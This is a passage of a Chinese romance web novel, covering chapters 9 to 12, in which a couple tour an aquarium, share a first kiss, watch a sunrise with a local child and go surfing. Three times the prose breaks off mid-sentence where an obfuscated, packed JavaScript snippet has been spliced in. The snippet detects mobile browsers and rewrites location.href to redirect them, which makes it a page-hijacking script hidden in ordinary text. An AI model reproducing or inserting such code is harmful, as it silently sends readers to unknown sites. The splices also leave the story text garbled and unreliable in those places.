看了一会儿,又循着珊瑚丛找了一圈,捕捉到一群摆尾穿梭的蓝黑花纹刺尾鱼,这才觉得如愿。 “多莉怎么不和尼莫玩?”她自说自话,“哦,好朋友也可以偶尔冷战一下。” 指尖在玻璃上轻点,道:“加油。” 庄肃安一乐:“你怎么还教鱼吵架。” 郑好说:“我不是在教它。” “啊?” 郑好已经举着dv往前走了。 9. 第9章 庄肃安发现郑好逛的不是水族馆,而是海底总动员博物馆。 对于电影里没露过面的生物她一般兴致缺缺,草草看上两眼以表示尊敬。 要是碰上电影出现过的鱼,她就很高兴,举着dv给鱼录像,还要跟它们说话,都是些随心而发的胡言乱语。 她根本不需要导游,一个人就玩得很开心。 不被需要的庄肃安有点寂寞,退后两步跟李遇走在一起:“你需要讲解不?” 李遇瞥一眼这个不太会看眼色的导游,说不用。 “好吧。” 庄肃安丰富的海洋知识没有用武之地,更寂寞了。 一眨眼,走到魔鬼鱼的投喂区。 郑好眼睛一亮,钻了个空贴在玻璃上。 左边有工作人员在投喂,挤了一圈的游客。郑好面前停着一只吃饱喝足开摆的可爱宝宝。 它一会儿摆动着宽大的胸鳍,竖直地游上去,一会儿又放松身体顺着重力缓缓降下来,嘴巴咧得大大地,自娱自乐。 嘴巴下方两排腮像揣着的手,真是个快乐的小朋友。 “雷老师?你是雷老师吗?” 庄肃安闻着声音就凑上去了:“诶——你误解了。这一只叫鳐鱼,它的尾巴比较粗壮。喏,上午在海边的那些才是电影里雷老师的原型魔鬼鱼,也就是蝠鲼,脑袋上有两个开叉,像蝙蝠侠。” 郑好懂了,她更喜欢天生微笑唇的鳐鱼,她决定不爱雷老师了。 “对了,你知道我们以为的鳐鱼的眼睛其实是它的鼻子吗?她的眼睛长在背上……” 郑好忽然转过来,dv对准庄肃安的脸:“谢谢你的讲解,但是你等会儿该不会要考考我?” 庄肃安没反应过来,呆呆地啊了一声,被廖青阳揪走了。 接下来几个场馆,三个大男人隔着人群慢悠悠跟在后面,左看看右看看,再往前头看看。 庄肃安问李遇:“你妹妹多大了?” 李遇看向他。 庄肃安挠头:“哎你别误会,我就问问。那天远远看她感觉比我小不了几岁,今天近距离一接触,发现她还挺幼稚的哈哈哈。” 李遇嗯了一声,随口说:“二十三四五六吧。” 庄肃安虚心求教:“那到底是二十三,还是二十四?这个年上和年下还是有很大区别的。” 李遇:“你喜欢年上?” 庄肃安老实说:“我没谈过姐弟恋。” 李遇说:”她二十八了。” “……”合理怀疑他在骗人但是没证据。 不过妹控是这样,可以理解。 “我们刚刚在车上聊得挺愉快的。她平时喜欢干什么?家里父母是不是管她挺严的?对了她喜欢滑雪吗?雪季我们一起去长白山滑雪怎么样?” 碎嘴子在旁边叭叭叭,李遇左耳进右耳出,看到一条条细长的花园鳗插在矿石里,像海草一样轻轻摆动。两个小朋友拍打着玻璃从窗边跑过,花园鳗受到惊吓,咻地缩回上半截身体,只露出一个脑袋。 李遇莫名想到郑好把头塞进冰箱里制冷的样子。 如果郑好在身边,他要拉着她过来比对一下,再笑话一番。 可郑好已经跑出隧道,趴在那头展览柜上摸海星,旁边蹲着一个小女孩在跟她说话。 她怎么一个人也逛得这么开心?李遇不爽起来。 庄肃安还在问:“她谈过恋爱吗?喜欢什么样的人?” 李遇转头:“我这样的。” 庄肃安还没反应过来:“哥控啊?看不出来嘛。” 李遇:“谁和你说我是她哥?” “啊?”庄肃安一呆,也不知道自己这结论从哪儿得出来的,仔细回忆了一番,郑好确实没介绍过俩人的关系。 但是从第一次见面就没看到这两人有什么亲密的举动,开车过来两个人在后座坐得很规矩,李遇一直在睡觉。再就是吃饭的时候,李遇靠在那里,支使郑好做这做那,像个颐指气使的大少爷。 亲近中带点不那么亲密的生疏感,他猜想两人是表兄妹,再不济,得是重组家庭了。 而且早上郑好在酒店四楼出去,那层是双人套间呀…… 庄肃安看着他往前走去的背影,对廖青阳说:“不会吧?我当着人正宫的面撬了一下午墙脚?” 廖青阳竖起大拇指:“嗯,你超绿茶的。” 整点有人鱼剧场,人群聚集着提前半小时往表演场地前进。 熙熙攘攘间,一个错眼郑好就不见了。 李遇给她发信息,问她在哪。 不知是没看见还是不想搭理,很久没人回复。 凭借他对郑好的那么点了解,她应该不会挤在人群中看演出。 十几分钟后,他在水母馆找到郑好。 她又没有了先前的兴致勃勃,dv机收起来,蹲在小窗前安静地看水母呼吸、翻滚。 水母馆里有很多这样的小缸,她独占着角落里的一个并不引人注目。 玻璃缸内是梦幻斑斓的海洋精灵,蓬松的触须五颜六色,像炸开的蘑菇云,静谧而可爱,她看得入了神。 李遇放缓脚步,在她旁边蹲下来。 郑好的脑门贴着玻璃,以接触面为支点转过脖子,看见是他,又慢吞吞扭回去,没有要搭理的样子。 李遇戳她肩膀:“在想什么?” 过了一会儿郑好才回答:“在想,水母是世界上最幸福的生物。” 李遇:“因为没有脑子?” “对呀。不止没有脑子,心肝脾肺肾统统都没有,身体里百分之九十八都是水。它的快乐没有人能够想象。” “它没办法思考自己是否快乐,就只是活着。” “那叫快乐而不自知。”郑好不许他说水母坏话,不要听了。 李遇换了话题:“有一种灯塔水母面临死亡时,它的细胞会转化变成幼年形态的水螅体,新的水母体就在这些水螅体中诞生。” “从某些方面来说,它达成了永生和返老还童。” 郑好想了想:“就像本杰明巴顿一样。” “对。” 这里好像忽然展开了一场水母知识交流大会。 郑好:“小的时候我养过一只巴布亚硝,过几天就不见了,我以为水母长出翅膀飞走了。可是阿姨说它死掉了,水母死掉就会变成水。” 多奇怪,生命意义只在于活着的水母,死亡的时候甚至连存在的痕迹都无法留下。 李遇想到一个诗人写的:“人死了,就像水消失在水中。” 话题陡然沉重,两人都沉默下来。 只有玻璃缸里的水母无知无觉,热烈地美丽着。 安静了一会儿,郑好转过头,也戳戳他肩膀:“在想什么?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15140011|164480||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 李遇垂着眼:“想亲你。” “啊?” 她以为自己听错了,下一秒,李遇的唇便落下来。 绵长安静的吻,像水母的触须,轻轻柔柔地带着电。 郑好捏紧膝盖上的裙褶,心脏也像水母张合的伞面,收缩、膨胀,然后被卷入一个小小的涡环,天旋地转。 她蹲不住了,踉跄下伸手撑住他的肩膀。 吻被迫中断,两个人挨在一起,急促的呼吸与心跳同频,谁都没有先开口。 水母的颜色变幻,郑好推开他往后挪了两步,下唇被他吮得发麻,脸颊好似火烧。 李遇蹲在原地,神情愉悦地看她:“柏拉图,打个分?” 郑好把唇埋进手背,听他自顾自说:“我给满分。” “……” 冷静一会,入口处有人进来,郑好慢吞吞站了起来。 视线齐平处,两只水母的触手缠在一起,千丝万缕怎么也分不开,它们就抱在一起,亲亲热热地在水里飘。 李遇:“这是一对情侣水母。” 郑好说:“也可能是兄妹。” 李遇眯起眼,开始跟她算账,一开口就是虎狼之词:“你的嘴只用来和我接吻吗?” “?” “解释一句这么难?” 郑好点头:“难。” “啧。”李遇发现郑好挺有当渣男的潜质,恋爱中主打一个绝不主动的原则,推两下走一步,他不推了,她又转过来露出谴责的目光:你怎么不推了? 李遇想明白了:“我就是你的入室抢劫爱情,对吧?” 郑好嗳了一声,惊叹:“好贴切。” *** 返程的车上,话唠庄肃安前所未有的安静,缩在驾驶座里恨不得把自己团成一粒中子。 廖青阳终于看不过去,挺身而出挑起了活跃气氛的重任。郑好累得不想说话,李遇心情愉悦挺身而出。 两个人一来一回,完成了警官和犯罪嫌疑人的初步情报调查。 回到酒店时临近傍晚,庄肃安约了人夜钓,车子停在酒店门前将他们放下。 这一次庄肃安留心看了,下车后两个人的手自然而然牵到了一块儿,像是两个春游归来的小朋友。 他恨自己眼睛瞎,趴在方向盘上:“失恋来得好突然。” 被迫营业一路的廖青阳冷酷说:“开车。” “……” 这一晚,由缰大大跟画瓶太太都没有更新,隔着一道墙壁,两人在各自床上翻滚数圈,双双失眠。 李遇在后半夜勉强睡着了,不知过了多久,忽然被一些细微的声音惊醒。 窗外还是灰蒙蒙的天,他看一眼时间,才四点。 翻过身仰面躺着,手臂横在眼前就要继续睡,刚才迷迷糊糊中听见的动静又开始了。 他分辨一会儿,发觉声音来自露台。 李遇掀开被子下床,推开露台的窗户,视线略一转,对上两张诧异的脸。 郑好穿着单薄睡裙蹲在藤椅里,素面朝天,一对黑眼圈瞩目,手里抱着一包拆开的薯片,咔哧咔哧咬得正欢。 旁边同款姿势亲热跟她挨在一起的是个陌生小女孩,七八岁大小,正瞪着大眼睛诧异地看着自己。 李遇:“……” 什么情况,她连夜生的? 他甚至没伸舌头。 10. 第 10 章 不常接吻的朋友或许不知道,啃一下嘴皮子是生不出七八岁大的小孩的。 李遇清醒过来,看向郑好:“你偷来的?” “……” 小孩声音清脆地抢答:“我是海里的小美人鱼,来报恩的。” 李遇瞥一眼她脚边成堆的零食袋:“来报仇的吧?” “……” 郑好解释,这是她在水族馆认识的朋友,就住在小渔村里,两人约好了一起看日出。 李遇想起了水族馆里跟她头挨着头摸海星那个小女孩:“不会是离家出走吧?” 小孩说:“才不是。” 小孩叫七星,因为外婆爱搓麻将。 七星吃完薯片,舔着手指头跳下去:“哥哥也醒了,我们去看日出吧!” 李遇不知道她的前半句结论从哪得出来,他连眼睛都睁不开了:“不去,这里不能看?” “不一样的。这里视野一点都不好。” 七星很固执,郑好意外地包容她,顶着黑眼圈换了睡裙要出门。酒店有一块私人海滩,下去也很近。 她说:“你继续睡吧,我们看完日出就回来。给你带早饭。” 就差一道光从后面打过来,配文“母性光辉”。 李遇看着她,忽然也回房间换衣服。 郑好问:“你不是困死了?” 李遇认真说:“我要去看看今天的太阳从哪边升起来。” 刚到达沙滩,小七星又说,沿着海滩一直往前走,有一座灯塔,很适合看太阳升起。 顺着她手指的方向,确实有一座灯塔远远立在昏蒙的天边,步行过去至少半个多小时。 李遇:“我听说最近盛行一种骗局,利用女性的同情心进行犯罪,专找小孩当诱饵。” 七星眨眨眼,不甘示弱:“最近也流行一部电影,软饭男把老婆骗到海底,杀妻骗保。” “……” 七星哼着小调子,一手抓着一只拖鞋,光脚在前面跑。 李遇跟郑好像上了年纪的老人家,拖着虚浮的脚步跟在后面。 李遇表情有点生无可恋,回到被教练连环call的那天:“看出来了,你是真的很想开托儿所。” 郑好:“这明明是忘年交。” 李遇哼笑了一声。 灯塔实在遥远,有时觉得近了,停下脚步用眼神一丈量,好似还在天边。 清晨干净的海水一波一波温柔地往岸上涌,覆上脚背,冰冰凉凉,又悄悄地退去了。 郑好走不动了,李遇这会儿的状态也背不动她,叫住脱缰的七星:“到后面来。” 七星哦了一声,提着鞋啪嗒啪嗒往回跑,嘴里嘟嘟囔囔:“你们太虚了,不像个年轻人。” 李遇懒得搭理她,伸腿把她拨到远离海滩的那一侧。 原定半小时的路程最终走了一个小时,灯塔近在眼前了,却有一条长长的堤坝横在面前,还得绕道从尽头爬上去。 七星挠挠头:“我忘了。” 太阳已经从海平面冒出来。 他们找了一块礁石坐下来,灯塔隔着一道堤坝在身后。 近处的海浪一重接着一重,水面泛起白沫,仿佛飞舞的白色裙边。稍远一点海面只有微微的涟漪,像布料的起伏褶皱。 太阳就从褶皱中升起,泼下橘色的水墨,细碎的、闪亮的一条,随风晕染开。 海面开阔,旭日初升的场面恢宏盛大,他们挤在一块小小的石头上,像银鱼那么渺小,也被染成橘红色。 七星扶着脸,夸张地哇了一声。 李遇瞥她:“你不是在海边长大的吗?” 七星不哇了:“我给的情绪价值不高吗?你为什么总戳穿我。” 她年纪小小,说话很老道,不知道哄了多少年轻游客做免费保姆。 郑好歪着头在他肩上,已经睡着了——她看起来更像那个需要人哄的天真小女孩。 七星弯腰在水里捞石头,问他:“你们在岛上呆几天呀?” 李遇说:“连夜游回去了。” 七星咯咯咯地笑:“你好有意思。”又问,“你是姐姐的男朋友?还是老公?” “怎么?” “老公比较危险,我要问问她有没有买保险。” “……” 在海边呆了半个多小时,太阳升至半空变成耀眼不可直视的一团亮光。 他们绕到堤坝尽头的平地,招了一辆三蹦子。两个成人并肩挤在一起,七星坐郑好腿上,掰着她的双手抱在肚子上:“安全带系好了!” 改装车从小路穿出去,沿途红彤彤的太阳在棕榈树之间穿行。 司机说平时三十块就好,这趟人多得收四十。 七星立马嚷嚷起来:“明明只要十五块!” 司机扭头一看这才发现是七星,骂骂咧咧:“又跑出来捣乱!” 看来是个远近闻名的小哪吒。 下车的时候李遇给司机转了三十,司机欲言又止地看看七星,摇摇头走了。 回到酒店,李遇刷卡,房门开了。 七星站在门口,无辜的大眼睛看看里面,又仰起来看看他,不说话。 李遇感到头疼,脑袋往里一撇:“赶紧。” 七星咧开嘴一下子闪现进去。 李遇叫了早餐送到房间,三人围在桌上吃了,各自回房间补觉,七星被判给郑好。 活动了这么久,睡意很难立刻再收拢回来,七星趴在床边跟她说话,小孩子的精力无穷无尽地,话题也是天马行空漫无边际。 她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15140012|164480||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说前两年真的有一个女人被丈夫带到海边溺死,第二天丈夫还趴在海边哭得撕心裂肺。 她还说,宝枝阿姨开的民宿里每年总有那么几个为情所伤的女孩子,天天望着海面哭泣。 都是些痴男怨女的故事。 郑好不知道对于她这个年纪是否懂得太多,又想自己七八岁时在做什么,想不起来,或许也在见证一些痴男怨女。 她摸摸七星的脑袋:“你这个年纪,看日出最合适。” 七星含糊地回了一句什么,她没听清,眼皮沉下来,睡着了。 睡醒时七星已经不见了。 郑好险些以为一切都是梦,直到发现门边贴的字条,说下回再找她玩。 托管所暂时歇业了。 郑好坐在泳池边背着日光画画,画一条波光粼粼的小美人鱼,美人鱼离群索居,坐在高高的礁石上看日出。 太阳升起,美人鱼化成了泡沫。 李遇不知道什么时候从水里钻出来,手肘撑着池边,歪头看画:“这里没有王子的事了?” 这画倒不介意他看。 郑好瞥到他光裸上身起伏的肌肉,移开目光,老神在在:“这是条未成年的美人鱼,禁止早恋。” 李遇:“那怎么变成泡沫了?” 郑好:“想变就变了,哪有什么为什么。” “你的这个创作思路很危险。” “好吧。”郑好合上平板,晃着腿认真想了想。 “小美人鱼爱上月亮,但是月亮很不解风情。小美人鱼说,我想拥抱你。月亮说,我会碎掉。于是小美人鱼退回海底,继续做她孤独的人鱼公主。” “后来,小美人鱼又爱上太阳,太阳炽烈的光芒下藏着一颗柔软的心。小美人鱼说,我想拥抱你。太阳说,你会碎掉。小美人鱼说,我不在乎。拥抱的那一刻,小美人鱼被灼热的光焰包裹,变成了海上漂浮的泡沫。” 李遇听完,问:“太阳呢?” 郑好说:“太阳照常升起。” 李遇想,真是个天真而残忍的故事。 天真的太阳,残忍的小美人鱼。 泳池水质清澈温暖,他站在池边微微仰头看她光影下生动的脸。 “弯腰。”他低声说,眼神里藏着危险暗芒。 郑好凝着他,撑着池边俯身。 目光胶着片刻,分别移开,落在对方的唇上。 背脊弯出一个弧度,郑好停住不动了,再次去看他近在咫尺的眉眼,眼底晃着一丝得逞的笑意。 亲不到。 李遇遭到挑衅,虚起眼,忽地撑着池子向上一跳。 郑好惊讶地睁大眼,鼻尖若有似无地挨到他的湿发。 气息短暂地交汇,李遇落回池底,两人不约而同地笑起来。 11. 第11章 郑好最终也换了泳衣下到池子里。 露台并不隐蔽,两人没有更多亲密的行为,只是这样挨着说一些漫无边际的话也觉得惬意。 下午,他们在酒店租了一辆车继续环岛兜风,路上看见一个矗立在海岸边的教堂,停下来进去坐了坐。 诵经台传出悠扬的圣乐,阳光穿过巨大的彩色玻璃窗,光影斑斓绚丽。 窗下有打卡拍照的游客,前排一对情侣说:“想在这里办婚礼诶!” 男生:“友情提示,你的理想婚礼地点清单已经列到第二十四个了。” “不能每个地方都办一场吗?” 男生说:“我有点困难。不然你考虑每个地方换个新郎吧。” 女生哈哈大笑,笑倒在他怀里。 回到车上,郑好还沉浸在那对情侣暖融融的爱意中。 她趴在窗边感受热烈的海风,心想,自己好像一只仓鼠,东奔西跑地搬运一些从别人指缝间漫溢出来的幸福,乐此不疲。 忽然闻到芳馨的香气。 转过头,李遇打开车门进来,手里握着一簇花束,灿黄的、橘红的、天蓝的,长长的花茎用细绳子缠了几圈,散发着蓬勃的生命力。 郑好不问从哪里来的,接过来抱在怀里,嗅了嗅,又用指尖触碰柔软的花瓣。 李遇趴在方向盘上,看她爱不释手地抱着花束玩:“我是第一个送你花的人?” 郑好惊讶:“当然不是。” “那是第几个?” “数不清了。” 李遇意味不明地哼了声:“那你给的情绪价值也挺高。” 郑好摆弄花枝,说:“我喜欢看海,无论第几次到海边来都这样开心。花也是同样道理。” 李遇:“难道跟送花的人没有半点关系?” 郑好沉思…… 李遇又做一回行动派,捧着她的脸亲了上去。 这个吻充满了馥郁的花香。 一开始郑好尚且可以应付,渐渐他的温柔变质,舌尖从唇缝探进来。郑好不喜欢那样,推了他一下。 李遇便停止探索,退回到禁区以外耐心地亲她,只是简单的含吮辗转也被他摸索出很多花样。 气息混乱地纠缠在一起,车内温度攀升,花束悄无声息地掉落在座椅旁边。 郑好抵着他的肩膀,缺氧得厉害:“你应该知道我是乱说的。” “嗯。”李遇的声音哑了,拇指轻轻蹭着她的脸颊,笑,“你也应该知道,我就是想亲你。” “……” 山崖下海浪有力地拍打礁石,他们躲在小小的空间里消磨时间,也构成她私藏的快乐的一部分。 傍晚,他们坐在车顶看到燃烧整个天幕的晚霞,霞光褪去,天边缀满繁星,近得仿佛伸手就能碰到银河。 *** 回程时,郑好望着漆黑的窗外,忽而被一种惶恐击中,好像梦境中意识到身处幻想的那一瞬间。 她转过来,问李遇:“你想好结局了吗?” 李遇说:“快了。” “哦。” 路途中,她的手机屏幕亮起,她只看了一眼,点了挂断。 过两秒,电话再次锲而不舍地打进来。 李遇先出声:“野男人?需要我回避吗?” 郑好问:“可以吗?” 李遇留意着漆黑泥泞的前路,乜她一眼:“你猜呢?” “好吧。” 郑好看着来电界面,踌躇片刻,跟他坦白:“你知道的,我的工作收入不太高。其实,我另外有一些灰色收入,用来支撑我高昂的公寓租金。” “灰色收入?” “比如每个月陪人吃饭聊天,提供点情绪价值之类的。” 李遇秒懂:“啃老是吧?” 郑好惊讶:“你怎么知道?” 李遇说:“你以为我哪来的钱买公寓?” 居然是同道中人! 郑好又说:“我啃的老比较特殊。是一个早年婚内出轨又回归家庭,但是最近不知道为什么开始关爱私生女的渣男。” 信息量有点大,李遇说:“我捋捋。” 他捋捋的空档,郑好接通了电话。 也许是黑夜筛掉了世界惶惶的杂音,电话那头的男声隐隐约约传出来:“好好,最近没有在家吗?” 郑好的态度比想象中温和,她说:“在度假。” “一个人吗?打算玩几天?要不要我去机场接你?” 郑好低头拨弄有些蔫巴的花束,说:“不用了,我和男朋友一起。” 电话那端安静了两秒:“注意安全。” 郑好:“哦。” “……” 车前灯下照见飞舞的流萤。 挂断电话后,郑好靠着车窗发呆。 没多久对方又发来一条短信,郑好扫了眼,关上手机扔进车前杂物箱:“烦。” 李遇腾出手摸了摸她的头:“别烦。” 郑好转头看他:“你会不会刚好也是个私生子?” 李遇认真想了想:“我觉得应该没有这个可能。” 郑好整个人转回去贴着车门:“没有共同话题,不想跟你说话了。” 这之后,郑好的情绪肉眼可见地发生变化,不爱出门,时常像只暴躁的小兽,在房间里转圈圈。 李遇含蓄地问她是否需要帮忙买一包女性用品。 郑好不转圈了,跑回自己的房间,钻进被子里就地化作一个小山包。 李遇搬来笔记本,盘腿坐在旁边,笔记本叠在山包上慢吞吞打字。 “……” 又过一会儿,被子掀开,郑好长发蓬乱地露出脸,冷酷说:“我们呆在一起的时间太多了。” 李遇:“才几天,你就腻了。” 郑好说对,然后爬起来给七星打电话。 小孩照旧很给面子,在电话那头兴奋地像只土拨鼠:“姐姐你快出来找我玩!我好无聊哇!” 出门前,李遇跟她确认:“不会背着我见野男人吧?” 郑好答得很勉强:“我尽量。” 李遇叹一口气:“还没得手就这样了。” 郑好板着脸走了。 房间一瞬变得空荡荡,李遇靠在墙边,眉眼低垂,思绪有些凝滞。 忽而房门滴答一声,门板被推开,一阵旋风冲进来,抱住他的脖子在下巴上狠狠嘬了一口,又一阵风似的跑走了。 “……” 他缓缓眨眼,目光落在对面的全身镜上,看见下巴上的一抹红痕,无声笑了下。 作为海岛的一项重要玩乐项目,冲浪必不可少。 七星兴致勃勃,说她舅舅是全岛最厉害的教练。 沿海的一条马路上全是冲浪店,还有小摊支起来的编彩色拳击辫的本地人。 七星小声说:“我给你编,我也会。” 她领着郑好到马路深处的一家小小店铺,霸道地跟老板谈价格,并为她争取高清航拍美照,简直化身专业代言人。郑好坐在旁边几乎插不上话,像个沉默的哑巴,跟地上那只体型硕大的金毛对视一眼,默默走到门口看冲浪板。 隔壁也是冲浪店,老板领着两个女生在店里转悠,看到她,从窗口探过来:“美女,冲浪吗?我们这两个人了,凑你刚好。” 郑好摇头:“我在这家买了。” 老板视线探进去:“你一个人啊?那等什么时候去,我们这马上就能开始。” 他又走进去和两个女生说了什么,一边说一边指着她。 没一会儿,两个女生走出来邀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15140013|164480||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 请她一起组团。 郑好还是摇头。 老板直接拉她过了两个店的交界:“美女,你是不是被七星介绍来的?” “嗯。” 老板说:“被坑啦,这就是她自己家的店,价格比别家都贵。我这一对三送单反航拍只要258,她一对四吧?是不是收你三百?” 郑好怀里还抱着个黄金椰,这会儿努力让自己看起来像个傻子:“没关系,我有钱。” “……那也不能当冤大头啊。” 郑好说:“钱多嘛。” 自从被李遇教育之后,她发现出门在外不讲道理确实方便很多。比如现在,老板的脸皱成了陈皮。 两个女生在旁边也打量起七星舅舅的店,发现他们家的冲浪板挺好看的,挽住手绕着门面看起来。 老板急躁,指着侧门边一块褪色的木板:“你不知道,七星她妈在外面给人做小三,叫人泼油漆写大字报,岛上都没人愿意跟七星玩。” 听到这话,郑好终于沉默了。 “她妈都不怎么管她,野孩子一个,就会骗你们外地人……” 老板一边说一边摇头。 郑好决定说些什么,没想到另外两个女生先皱起眉:“她妈妈做小三又没通知她,也没征求她同意。骂她妈妈可以,骂小孩不行。” 郑好微微睁大眼,被她俩一人一边挽着进了店:“走吧,我们和你拼课。我俩没学过,你会不会?……” 店里的七星对此一无所知,兴冲冲跑来教她们领优惠券:“写好评独家亲友价哦。我还会用相机,我在岸边给你们拍照。” 郑好心情明朗,弯唇:“好啊。” 七星:“你快换衣服,换好我给你编辫子!你喜欢什么颜色呀?我觉得你编什么颜色都好看!” 另外两个女生指指自己:“我们呢?” 七星抱住郑好,说:“好好姐姐免费,其他人要收钱的。” 今天天气很好,凉爽不晒,上午的海浪有力而不莽撞,也适合新手练习。 老板等她们换了衣服,载上人往冲浪点开去。 七星一路上叽叽喳喳,很快就姐姐姐姐地叫另外两个女孩子,还不忘雨露均沾地牵着郑好的手。 *** 郑好离开后,李遇在电脑前忙碌,处理一些工作上的事。 刚冒个泡,编辑闻着味儿就凑上来,消息足足轰炸了十几条,总结起来就是“又断更你不要命啦?”、“后台开的新坑甜宠标签是什么意思?”、“再敢拉黑我死给你看!”。 李遇应付他就花了大半天,承诺一周内码足存稿并准备出版的独家番外,编辑终于心满意足,暂且还他安静。 趁他挂电话前,编辑又问一遍:“你下一本写言情?真的假的?” 李遇:“不行吗?” “……你会不会?我怕你砸自己招牌。” “你管呢。” 一楼大花园里传来一家亲子欢笑嬉戏的声音。 李遇坐了会儿,重新打开电脑,随手搜索了一个名字。 “郑川穹。” 原本没抱希望,没想到真跳出几条新闻,小企业家,还挺有钱。 网络上关于他的信息并不算多,李遇顺藤摸瓜,找到一条私人分享的聚会视频。 视频时间在上个月,他三十五周年结婚纪念派对。合影里郑川穹的太太保养得宜、体态微胖,亲昵地挽着丈夫和儿子的手臂,眉宇间找不到郑好的影子。 郑川穹的独子今年二十三,还比郑好小一岁。 上个月啊……上个月的这一天她睡到中午才起,被他的交往提议吓得在门框绊了一跤,躺沙发上冰敷装死一下午。 李遇合上电脑,打算去找她,忽而接到一个电话。 郑好受伤了。 12.第12章 李遇开车到海边,沙滩上全是学冲浪的人。 他沿着岸边休息区走了一段,在一顶白色遮阳伞下看见郑好……还有她身边围着的几个年轻男人,其中人高马大的庄肃安尤其显眼。 “……” 还真有野男人。 郑好原本弯着腰用毛巾摁着伤口,忽然有所察觉抬起头来,看到李遇踩着湿泞的沙地逆光走过来,穿着宽松的T恤短裤,身体轮廓被光影勾勒出来。 宽肩长腿,嘶哈嘶哈。 郑好早忘了清晨在酒店说的,眼巴巴看他走近。 李遇在她左边的沙滩椅上坐下,拿开她的毛巾查看伤口。 细细长长的几道划痕,不深,但不知怎么还在往外冒血珠。 郑好解释:“我大概凝血功能不太好。” 庄肃安抱歉地说:“我的学员跟她撞到一起,脚绳绕上了。” 然后她这个新手就被带着拖行了一段,幸好及时被教练拦住。 一个小麦肤色的男生蹲在地上:“对不起。” 七星蹲在另一侧,眼泪汪汪哭过了。 郑好的教练已经第一时间用矿泉水瓶冲洗伤口,回车上取来止血敷片,正给她贴上。 伤得不深,只是止不住血,再加上是认识的人,围在一起倒像个重大事故。 李遇叹一口气,抓过她的手臂把人背到背上:“不是大问题,我带她去医院打针,你们继续玩吧。” 庄肃安上着课走不开,只好派出小挂件廖青阳实时跟进。 李遇这才发现遮阳伞后面还坐着一个:“……” 到车上,郑好被安置在后座,左腿高高架起,七星坐在旁边陪着,眼睛红红。 郑好无奈地收起腿,摆弄两下示意道:“真的只是一道很小的口子。” 副驾的廖青阳看她一眼,难得出声:“你的脸色很差。” 李遇瞥她一眼说:“没事,截肢以后我给你订最好的假肢。” 七星哇地一声哭了。 郑好:“……” 默默又把腿架起来。 海岛的医院风格独特,像酒店的格局,一楼水池养睡莲跟各种景观鱼。 排一会儿队,轮到看诊。 才进诊室,医生看她穿着就明白了,熟练地重复了一遍清创上药的步骤,让她找护士打针。 廖青阳去帮忙缴费,顺便带着七星去找厕所。 打针的时候,护士像被她的脸色惊到,多看了好几眼。 郑好憋到打完针走出去才问李遇:“我的脸色真的很差吗?” 李遇看着她的脸,一时之间不知道说什么。 郑好这才想起来脸上涂着防晒泥,七星一手操办的,她还没照过镜子,迟疑:“不好看吗?” 李遇凝着她,白色铅粉似的防晒泥糊了满脸,又用五颜六色的彩泥在脸颊画了几道,哪怕泡了一上午水依旧颜色鲜亮。 看得出来,七星真的很怕晒到她的好好姐姐。 他唇角翘起,说:“不好看,但是挺好笑。” “……” 拿过他的手机打开前置,看见自己脸的那一刻,郑好两眼一黑差点窒息。 李遇捏捏她白花花的下巴,愉悦地说:“本来有点吃醋,现在我好过多了。” “……”郑好不想再说话了。 李遇想了想,摸摸她头上蓝紫色丝带绑的拳击辫,说:“头发很好看。” 郑好趴在他背上拒绝沟通。 结束这场意外的医院之旅,七星指路带她们回渔村农家乐。 往里开了几段,地面歪斜坑洼,时不时横长出一截叶片遮挡视线,车身颠簸得厉害,两个女孩子给晃得难受,提前下车了。 廖青阳牵着七星,李遇背着郑好,慢吞吞沿着狭窄的路面往里走。 沿途有几个人家探出头扬声问:“吃饭嘛?” 七星立马支起脑袋:“我家的!” 那人就露出嫌弃的表情:“又去哪里骗人回来?” “略!”七星冲她做鬼脸。 她说:“宝枝阿姨的民宿很干净,还有大黄,其他姐姐都喜欢大黄。” 廖青阳点头。 郑好抬头回应了一句,又飞快把脸埋进李遇背上。 庄肃安带着几个学员,和郑好的冲浪教练已经在民宿里等着了。 教练姓梁,是七星的舅舅。宝枝阿姨就是七星的舅妈,她穿着精致的黑红花纹民族服饰,头上插着几根银簪,是黎族人。 梁舅舅每天清晨骑电瓶车去海边开店,七星就是蹭着他的车来回地跑。 院门上挂着块简单的招牌,就叫小四喜,原因也是外婆爱打麻将。 外婆已经不在了,院子旁栽着一株虬结粗壮的凤凰木,枝头开满火焰似的红花。 十个人恰好凑了一桌。 上菜时厨房出来一个年轻女人,眉目如画异乎寻常地漂亮,一双眼睛却透着沉沉的死气。 七星喊她妈妈,亲热地挨到她身边。 女人反应淡淡地,让她坐着吃饭,转身又出去了。 席上都是爱好旅行的年轻人,谈起自己走过的地方,仿佛有说不完的话题。 